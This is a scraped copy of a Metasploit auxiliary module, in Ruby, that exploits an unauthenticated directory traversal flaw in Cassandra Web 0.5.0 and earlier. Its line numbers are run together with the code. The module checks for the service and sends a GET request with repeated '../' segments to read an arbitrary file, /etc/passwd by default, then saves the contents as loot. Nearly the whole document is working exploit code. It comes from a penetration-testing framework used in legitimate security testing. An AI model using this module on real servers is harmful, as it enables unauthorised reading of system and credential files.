Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cassandra_web_file_read.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::Scanner8include Msf::Exploit::Remote::HttpClient9prepend Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Cassandra Web File Read Vulnerability',16'Description' => %q{17This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web18'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.19This vulnerability occurred due to the disabled Rack::Protection module20},21'References' => [22['URL', 'https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be'],23['EDB', '49362']24],25'Author' => [26'Jeremy Brown', # Vulnerability discovery27'krastanoel' # Metasploit module28],29'License' => MSF_LICENSE,30'Notes' => {31'Stability' => [CRASH_SAFE],32'Reliability' => [],33'SideEffects' => []34}35)36)3738register_options(39[40OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),41OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 8]),42OptInt.new('RPORT', [true, 'The Cassandra Web port (default: 3000)', 3000])43]44)45end4647def check_host(_ip)48res = send_request_cgi({49'method' => 'GET',50'uri' => normalize_uri(target_uri.path, '/')51})5253return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?54return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 2005556if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')57return Exploit::CheckCode::Appears('Cassandra Web Detected')58else59return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')60end61rescue ::Rex::ConnectionError62return Exploit::CheckCode::Unknown('Could not connect to the web service')63end6465def run_host(ip)66traversal = '../' * datastore['DEPTH']67filename = datastore['FILEPATH']68filename = filename[1, filename.length] if filename =~ %r{^/}6970res = send_request_cgi({71'method' => 'GET',72'uri' => normalize_uri(target_uri.path, '/' "#{traversal}#{filename}")73})7475fail_with(Failure::Unreachable, 'Connection failed') unless res76fail_with(Failure::NotVulnerable, 'Connection failed. Nothing was downloaded') if res.code != 20077fail_with(Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter') if res.body.include?('/js/cassandra.js')7879print_status('Downloading file...')80print_line("\n#{res.body}\n")8182fname = datastore['FILEPATH']8384path = store_loot(85'cassandra.web.traversal',86'text/plain',87ip,88res.body,89fname90)91print_good("File saved in: #{path}")92rescue ::Rex::ConnectionError93fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")94end95end969798